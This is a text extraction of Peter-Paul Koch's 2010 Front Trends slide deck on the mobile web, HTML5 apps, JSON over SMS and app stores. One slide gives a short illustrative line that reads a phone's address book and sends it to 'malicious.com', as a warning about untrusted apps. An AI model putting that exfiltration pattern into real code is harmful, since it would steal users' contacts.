Download - JSON over SMS
![Page 1: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/1.jpg)
JSON over SMSand other cool storiesfrom the mobile world
Peter-Paul Koch (ppk)http://quirksmode.orghttp://twitter.com/ppk
Front Trends, 22 Oct 2010
Hell is other browsers - Sartre
![Page 2: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/2.jpg)
The desktop web
Boring!
- Only five browsers- with only one viewport each- that support nearly everything- Even IE? Yes, even IE.
![Page 3: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/3.jpg)
![Page 4: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/4.jpg)
The Mobile Web
Exciting!
- Fifteen browsers and counting- ranging from great to lousy- at least two viewports each- Interesting new bugs- About three times as many users as the desktop web (eventually)- Different context
![Page 5: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/5.jpg)
![Page 6: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/6.jpg)
iPhone 3G
2008 – 700 euros
2010 – 250 euros
2018 – 10 euros?
![Page 7: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/7.jpg)
2018Smartphone
![Page 8: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/8.jpg)
The Mobile Web
2018 – for everybody?
The fisherman might like a little app that keeps track of prices in various towns – maybe he can discover some patterns.
![Page 9: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/9.jpg)
The Mobile Web
And he may want to impress his friends.
He may even want to share it.
But suppose he has a Nokia, and his friend a Samsung.
![Page 10: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/10.jpg)
The Mobile Web
He will just send the app via Bluetooth
and it will work
whatever phone receives it...
![Page 11: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/11.jpg)
The Mobile Web
This is NOT futurology.
I've done it. I moved a W3C widget from Symbian to Windows Mobile. And it worked ... almost.
Granted, it's not easy yet.- technical differences- lousy user interface
![Page 12: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/12.jpg)
HTML5 apps
So the fashion-conscious fisherman of 2018 will share apps via Bluetooth.
What kind of apps? HTML5 apps.They are the future of the mobile web.
Because web apps work everywhere.Native app only works on one platform.Why bother with only one platform?
![Page 13: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/13.jpg)
HTML5 apps
What is an HTML5 app?
- One core app written in HTML, CSS, and JavaScript- Deployed to several mobile platforms- If it can't be deployed it's still a website. (This includes desktop browsers.)
http://www.quirksmode.org/blog/archives/2010/03/html5_apps.html
![Page 14: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/14.jpg)
HTML5 apps
What is an HTML5 app?
The HTML, CSS, and JavaScript files are stored on the deviceso that when the user opens the app again he doesn't have to download themjust the data (via Ajax or otherwise)
Important on lousy connections
![Page 15: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/15.jpg)
HTML5 apps
Deployment right now
- W3C Widget (bada, Vodafone, Opera, Symbian, BlackBerry)- Palm webOS app- iPhone appcached site - Phonegap (iPhone, Android, BlackBerry, Symbian, webOS)http://uxebu.com/blog/2010/02/15/eventninja-a-mobile-cross-platform-app/
![Page 16: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/16.jpg)
HTML5 apps
Deployment right now
We need an automated deployment systen. Upload web core to service, and it will return all the different formats you need.
Stopgap solution; only for the next few years.
![Page 17: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/17.jpg)
HTML5 apps
Deployment in the future
Bluetooth. Or the web.
With Nokia, Samsung, and RIM supporting the format, the other platform vendors will have to comply.Eventually.
![Page 18: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/18.jpg)
HTML5 apps - data
So the fashion-conscious fisherman of 2018 will use HTML5 apps.
HTML5 apps will need data.
This data will likely be sent as JSON.- Light-weight- Already works everywhere
![Page 19: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/19.jpg)
Receiving JSON data
How will he receive the JSON?
- Wifi? Unlikely – it's expensive to set up, especially for a fisherman.- Mobile data connection? Possible, but expensive. Besides, it's pull-only.
![Page 20: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/20.jpg)
JSON over SMS
How will he receive the JSON?
I think it will be over SMS:- only way of pushing data; sometimes there will be urgent messages of price fluctuations.- service wants to make money, too. Premium SMS already exists everywhere.
![Page 21: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/21.jpg)
JSON over SMS
To: fisherman024
towns: {town1: {prices:{fish1:0.88, fish2:1.34, fish3:0.79}, town2: {prices:{fish1:0.63; fish2:1.19; fish3:1.13}}, date: 221018
Notice syntax error?No quotes. Takes too much space for an SMS; 26 characters in this example.(Forgive me, Douglas)
![Page 22: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/22.jpg)
Monetisation
But wait a minute.
- The fisherman pays for the SMSs he receives.- He can share the app freely with anyone, though.
What will that do to monetisation?
![Page 23: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/23.jpg)
Monetisation
With HTML5 apps and JSON over SMS (or similar techniques)
we don't need the app stores any more!
We'll pay for the content, and not for the app itself.(This would work for many apps out there right now.)
![Page 24: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/24.jpg)
App stores
You know how many app stores there are nowadays?
At least 41
![Page 25: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/25.jpg)
Source: distimo.com
![Page 26: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/26.jpg)
App stores
This is getting ridiculous.
Why do we need app stores anyway?
- Discoverability- Device APIs- Monetisation
![Page 27: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/27.jpg)
Discoverability
How can you be discovered if tens of thousands of other apps scream for attention, too?
Solution: marketing campaignwhich costs a hell of a lot of moneyand is unattainable for average dev
Or being a Big Brand already
![Page 28: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/28.jpg)
Device APIs
Meant for accessing the camera, address book, accelerometer, GPS, and other phone functions.
device.phone.call(device.addressBook['mom'])
Current browsers don't support them yet, except geolocation.So we need native apps – for now.
![Page 29: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/29.jpg)
Device APIs
Butif I receive an app by Bluetoothhow am I going to know it won't steal my address book?
var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);
Serious security issue here.
![Page 30: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/30.jpg)
Monetisation
The operators will conquer the payment marketbecause they already bill the user; and a credit card is not necessary
Problem: they're so bloody slow
![Page 31: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/31.jpg)
WAC
WAC: shared APIs for many operators around the world,for device APIsand also for mobile payments
Problem: WAC unites 48 operatorswho have to agree about everything.
You get the picture.
![Page 32: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/32.jpg)
End of the app stores
“Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.”
- Eric Meyer
We're getting there.
![Page 33: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/33.jpg)
HTML5 apps conclusion
So HTML5 apps will conquer the world, because they will work everywhere.They may get their data as JSON over SMS.They will make the app stores obsolete.
Cool, isn't it?
Let's review more possibilities.
![Page 34: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/34.jpg)
Web servers
In the future, your mobile phone might run a web server over Bluetooth.
Especially useful at conferences when the wifi doesn't work.
Or to establish contact with strangers (Bluetooth already works that way).
![Page 35: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/35.jpg)
JavaScript events
Fun game: invent mobile JS events- ononline and onoffline- onorientationchange- onshake- oncameraopen- onmove (GPS)- onphonecall- oncompasspointnorth- etc.
![Page 36: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/36.jpg)
Establishing context
The mobile context is going to be massively important.
With desktop computers, or even laptops, you're pretty certain that the user is sitting somewhere; most likely with a table to put the computer on.
She's not moving.
![Page 37: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/37.jpg)
Establishing context
With mobile this context CAN BE massively different.
- Walk on street- On a train- Or sitting in a chair or on a sofa at home
How do we know what the context is?
![Page 38: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/38.jpg)
Establishing context
GPS data is the obvious solution.
But one data point is not enough. OK, the user is on the streets and not at home, but is she walking, running, in a bus, or sitting in a café?
![Page 39: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/39.jpg)
Establishing context
Maybe GPS should gather data automatically every ten minutes or so, and give this data to any app that asks.
That will give us a true mobile context, because we can read out the user's speed.
![Page 40: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/40.jpg)
Establishing context
But:- privacy- battery life
In other words, the user must be able to turn this function off.
No big deal.
![Page 41: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/41.jpg)
A final caveat
I'm trying to predict the future hereand predicting the future is not an exact science
I could be totally wrong about absolutely everything.
That's not the point, though.
![Page 42: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/42.jpg)
A final caveat
The point isthat mobile will release a huge wave of high-level creativity
creativity that I've started to miss on the “fixed web.”
So make your own predictionand put it on Twitter (#ft2010)
![Page 43: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/43.jpg)
Thank you!
Interested?Join the Mobile Web mailing listhttp://tech.groups.yahoo.com/group/mobile-web/
![Page 44: JSON over SMS](https://reader033.vdocuments.us/reader033/viewer/2022052900/5560bf06d8b42a033c8b5433/html5/thumbnails/44.jpg)
Thank you!Questions?
http://quirksmode.orghttp://twitter.com/ppk
I'll post these slides on my site.